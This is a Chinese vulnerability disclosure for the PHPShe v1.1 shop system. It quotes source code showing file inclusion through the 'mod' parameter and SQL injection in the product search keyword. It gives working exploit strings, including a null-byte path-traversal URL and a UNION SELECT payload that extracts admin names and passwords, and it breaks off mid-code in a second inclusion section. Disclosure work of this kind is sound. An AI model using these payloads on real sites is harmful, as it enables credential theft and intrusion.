phpshe v1.1多处文件包含与SQL注射

2015 年 1 月 5 日4990

/*******************************************************/

/* Phpshe v1.1 Vulnerability

/* E-Mail : 681796@qq.com

/*******************************************************/

0×00 整体大概参数传输

查看源代码打印帮助1 [font=Verdana, Helvetica, Arial, sans-serif][size=12px]

2 [/size][/font]

3 //common.php

4 if (get_magic_quotes_gpc()) {

5 !empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');

6 !empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');

7 }

8 else {

9 !empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');

10 !empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');

11 }

12 session_start();

13 !empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');

14 !empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

15 [font=Verdana, Helvetica, Arial, sans-serif][size=12px]

0×01 包含漏洞

查看源代码打印帮助1 [/size]

2 //首页文件

3 pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);

4 include("{$pe['path_root']}module/{$module}/{$mod}.php"); //$mod可控造成“鸡肋”包含漏洞

5 pe_result();

6 ?>

7 //common 文件 第15行开始

8 url路由配置

9 $module = $mod = $act = 'index';

10 $mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);

11 $act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);

12 $id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);

13 //exp:[url]?mod=../../robots.txt%00[/url]

14 [p=30, 2, left]

0×02 搜索注入

查看源代码打印帮助1 [/p][p=30, 2, left]//product.php文件

2 case 'list':

3 $category_id = intval($id);

4 $info = $db->pe_select('category', array('category_id'=>$category_id));

5 //搜索

6 $sqlwhere = " and `product_state` = 1";

7 pe_lead('hook/category.hook.php');

8 if ($category_id) {

9 where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";

10 }

11 $_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤

12 if ($_g_orderby) {

13 $orderby = explode('_', $_g_orderby);

14 $sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";

15 }

16 else {

17 $sqlwhere .= " order by `product_id` desc";

18 }

19 $info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));

20 //热卖排行

21 $product_hotlist = product_hotlist();

22 //当前路径

23 $nowpath = category_path($category_id);

24 $seo = pe_seo($info['category_name']);

25 include(pe_tpl('product_list.html'));

26 //跟进selectall函数库

27 public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())

28 {

29 //处理条件语句

30 $sqlwhere = $this->_dowhere($where);

31 return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);

32 }

33 //exp

34 product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

35 [/p][p=30, 2, left][size=12px]

0×03 包含漏洞2

查看源代码打印帮助1 [/p][p=30, 2, left]//order.php[/p][p=30, 2, left]case 'pay':[/p][p=30, 2, left]

2 $order_id = pe_dbhold($_g_id);[/p][p=30, 2, left]

3 $cache_payway = cache::get('payway');[/p][p=30, 2, left]

4 foreach($cache_payway as $k => $v) {[/p][p=30, 2, left]

5 $cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);[/p][p=30, 2, left]

6 if ($k == 'bank') {[/p][p=30, 2, left]

(责任编辑:幽灵学院)

0 0